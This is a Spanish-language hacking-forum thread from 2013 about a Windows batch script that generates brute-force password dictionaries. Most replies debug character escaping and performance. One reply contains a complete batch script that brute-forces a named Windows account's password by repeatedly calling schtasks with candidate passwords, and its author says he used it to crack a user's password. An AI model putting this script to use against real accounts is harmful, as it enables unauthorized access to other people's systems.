elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [BATCH] Problema con diccionario
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [BATCH] Problema con diccionario  (Leído 3,293 veces)
zikotik

Desconectado Desconectado

Mensajes: 59



Ver Perfil
[BATCH] Problema con diccionario
« en: 17 Julio 2013, 03:35 am »

Hola gente, les comento que estoy haciendo una pequeña aplicación en batch que genera un diccionario con la cantidad de caracteres que el usuario desee.

El sistema en términos básicos sería:

- suponiendo que se ingresó un máximo de 4 caracteres por palabras -

aaaa
aaab
aaac
aaad
aaae
aaaf
...
aaaz
aaa0
aaa1

- y así constantemente -

El problema es que no puedo hacer que salgan los caracteres ! y ?.
Les dejo el código para que lo lean y me den una pequeña ayuda si es posible.
Gracias de antemano.

Código
  1. @echo off
  2. title Diccionario
  3. setlocal enabledelayedexpansion
  4.  
  5. set chars=a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,w,w,x,y,z,0,1,2,3,4,5,6,7,8,9,!,?,#,@,.
  6. set ini=0
  7. set wor=0
  8. set /p lenght=Lenght:
  9.  
  10. call :generar
  11.  
  12.  
  13. :generar
  14. set /a wor+=1
  15. title Palabra %wor%
  16. if %ini% neq %lenght% (
  17. set /a ini+=1
  18. for %%c in (!chars!) do call :generate %~1%%~c
  19. set /a ini-=1
  20. ) else (
  21. set cadena=%~1
  22. echo.!cadena!
  23. echo.!cadena!>>diccionario_!lenght!.txt
  24. )
  25. goto:eof


En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.700



Ver Perfil
Re: [BATCH] Problema con diccionario
« Respuesta #1 en: 17 Julio 2013, 03:55 am »

Escapa:

Código
  1. Echo ^^!

Saludos


En línea


zikotik

Desconectado Desconectado

Mensajes: 59



Ver Perfil
Re: [BATCH] Problema con diccionario
« Respuesta #2 en: 17 Julio 2013, 03:59 am »

Escapa:

Código
  1. Echo ^^!

Saludos

Gracias por tu respuesta, pero lamentablemente me devuelve un valor nulo, no el símbolo tal.

Intenté tanto con ^ como con ^^ y nada.
En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.700



Ver Perfil
Re: [BATCH] Problema con diccionario
« Respuesta #3 en: 17 Julio 2013, 04:47 am »

Intenté tanto con ^ como con ^^ y nada.

Lo que te dije funciona para mostrar el caracter conflictivo "!" cuando la expansión de variables está activada como lo está en el código que has mostrado:

Código
  1. setlocal enabledelayedexpansion
  2. Echo ^^!

...Óbviamente es un ejemplo que debes adaptar al resto de tu código.





Yo diréctamente te diría que los temas complicados y donde se maneja mucho texto lo tratases en cualquier otro lenguaje que no sea Batch, pero  si reálmente estás dispuesto a hacerlo sólo en Batch y si además quieres incluir los caracteres conflictivos "!" "?" pues entonces el code no va a poder quedar tán perfecto ni simplificado como deseas.

De todas formas no necesitas usar enabledelayedexpansion en el código.

Código
  1. @echo off
  2. title Diccionario
  3.  
  4. set "chars=a b c d e f g h i j k l m n o p q r s t u w w x y z 0 1 2 3 4 5 6 7 8 9 ! ."
  5. set /A "ini=0"
  6. set /A "wor=0"
  7.  
  8. set /p lenght=Lenght:
  9.  
  10. call :generar
  11.  
  12. pause&exit
  13.  
  14.  
  15. :generar
  16. set /a "wor+=1"
  17. title Palabra "%wor%"
  18. if %ini% neq %lenght% (
  19. set /a "ini+=1"
  20. for %%c in (%chars%) do (call :generar %~1%%c)
  21. set /a "ini-=1"
  22. ) else (
  23. echo.%1
  24. echo.%1>>"diccionario_%lenght%.txt"
  25. )
  26. goto:eof


Aquí tienes una alternativa funcional para mostrar los dos caracteres:

Código
  1. @echo off
  2. title Diccionario
  3.  
  4. rem set "chars=a b c d e f g h i j k l m n o p q r s t u w w x y z 0 1 2 3 4 5 6 7 8 9 ! ? ."
  5. set /A "ini=0"
  6. set /A "wor=0"
  7.  
  8. (
  9. Echo bla bla bla
  10. Echo bla bla bla
  11. )>"%TEMP%\chars.txt"
  12.  
  13. set /p lenght=Lenght:
  14.  
  15. call :generar
  16.  
  17. pause&exit
  18.  
  19.  
  20. :generar
  21. set /a "wor+=1"
  22. title Palabra "%wor%"
  23. if %ini% neq %lenght% (
  24. set /a "ini+=1"
  25. for /F %%c in ('type "%TEMP%\chars.txt"') do (call :generar %~1%%c)
  26. set /a "ini-=1"
  27. ) else (
  28. echo.%1
  29. echo.%1>>"diccionario_%lenght%.txt"
  30. )
  31. goto:eof


Tampoco me voy a esmerar mucho más tratándose de Batch y sus limitaciones.

Saludos!
« Última modificación: 17 Julio 2013, 04:51 am por EleKtro H@cker » En línea


zikotik

Desconectado Desconectado

Mensajes: 59



Ver Perfil
Re: [BATCH] Problema con diccionario
« Respuesta #4 en: 17 Julio 2013, 19:09 pm »

Lo que te dije funciona para mostrar el caracter conflictivo "!" cuando la expansión de variables está activada como lo está en el código que has mostrado:

...

Bueno... la única manera es sacando el "!" y el "#".
Podría usar el C++, pero no se me ocurre cómo.
No le puedo sacar la lógica sinceramente, intenté con while(), for(), if() y nada...
En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: [BATCH] Problema con diccionario
« Respuesta #5 en: 17 Julio 2013, 19:23 pm »

por otro lado... que tan rapido podria ser batch para esto? :s
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
zikotik

Desconectado Desconectado

Mensajes: 59



Ver Perfil
Re: [BATCH] Problema con diccionario
« Respuesta #6 en: 17 Julio 2013, 20:01 pm »

por otro lado... que tan rapido podria ser batch para esto? :s

Nada rápido... digamos que si ponemos una longitud de 4 caracteres, en batch se tardaría 1 hora o un poco más en escribir una lista completa de una longitud de 4 caracteres con una diversidad de 40 caracteres (más de 23720000 líneas).
En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.700



Ver Perfil
Re: [BATCH] Problema con diccionario
« Respuesta #7 en: 17 Julio 2013, 21:06 pm »

@zikotik
Si además muestras el output en la CMD, la rapidez disminuye x2, te lo digo por experiencia, no hagas esto en Batch.

Saludos
En línea


Binary_Death

Desconectado Desconectado

Mensajes: 214



Ver Perfil
Re: [BATCH] Problema con diccionario
« Respuesta #8 en: 17 Julio 2013, 23:25 pm »

Esta es la forma más eficiente de trabajar con generadores de diccionarios por fuerza bruta que conozco en batch, muchísimo más rápido que el método recursivo que estás intentando implementar. Échale un vistazo con calma, que es bastante enrevesado.

Código:
@echo off
setlocal enabledelayedexpansion
color 01&more/c<nul
set /p "user_name=*Username: "
set /p "max_lengh=*Length limit: "
set "chr_lst=a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z"
set "cmd_gen.a=" & set "cmd_gen.b=" & set "cmd_gen.c="
set "chr_for="
set /a psw_lengh=0
set /a chr_cnt=0
set "task_name=%random%"
echo: -----Working...
:_loop.gen
setlocal
set /a psw_lengh+=1
if %psw_lengh% gtr %max_lengh% goto :_np
for %%i in (%chr_lst%) do (
if !chr_cnt! LSS %psw_lengh% (
set "chr_for=!chr_for!,%%i"
set/a chr_cnt+=1
)
)
for %%i in (%chr_for%) do set "cmd_gen.a=!cmd_gen.a!for %%%%i in (%chr_lst%) do ("
for %%i in (%chr_for%) do set "cmb_chr=!cmb_chr!%%%%i"
set "cmd_gen.b=schtasks /create /tn "%task_name%" /tr "cmd /c exit" /sc ONCE /st 00:00 /ru %user_name% /rp %cmb_chr%>nul 2>&1&&call:_yp %cmb_chr%"
for %%i in (%chr_for%) do set "cmd_gen.c=!cmd_gen.c!)"
%cmd_gen.a%%cmd_gen.b%%cmd_gen.c%
endlocal & set /a psw_lengh=%psw_lengh%
goto :_loop.gen
:_yp
schtasks /delete /tn "%task_name%" /f 1>nul 2>&1
echo.&echo:Password: %~1 & pause 1>nul
exit
:_np
echo.&echo: Password not found. & pause 1>nul
exit

Bueno... como ves aquí lo apliqué para el cracking de el password de un usuario de Windows  ;)
« Última modificación: 17 Julio 2013, 23:27 pm por Binary_Death » En línea

Geormarsch

Desconectado Desconectado

Mensajes: 160



Ver Perfil
Re: [BATCH] Problema con diccionario
« Respuesta #9 en: 26 Agosto 2013, 15:50 pm »

http://foro.elhacker.net/scripting/batch_ice_gen_10_generador_de_wordlistcombolistwepwpaserialcookiesip-t351916.0.html

ahí un generador que hizo el elektro ;)
En línea

"Comentar el código es como limpiar el cuarto de baño; nadie quiere hacerlo, pero el resultado es siempre una experiencia más agradable para uno mismo y sus invitados"
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Batch] Problema con el Quick Batch File Compiler
Scripting
najmuddin 6 4,394 Último mensaje 29 Junio 2008, 08:39 am
por najmuddin
[Batch] Generador de Diccionario
Scripting
SmartGenius 8 5,729 Último mensaje 16 Diciembre 2008, 19:46 pm
por SmartGenius
[BATCH] Problema con Quick Batch compiler, incluir 2 archivos BAT. « 1 2 »
Scripting
daniel69 17 11,179 Último mensaje 31 Mayo 2009, 19:33 pm
por daniel69
[BATCH]Diccionario
Scripting
FranciskoAsdf 2 2,092 Último mensaje 29 Septiembre 2009, 15:54 pm
por FranciskoAsdf
Problema con diccionario WPA 20 GB
Wireless en Linux
David991 7 11,035 Último mensaje 22 Noviembre 2010, 20:57 pm
por david020573
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines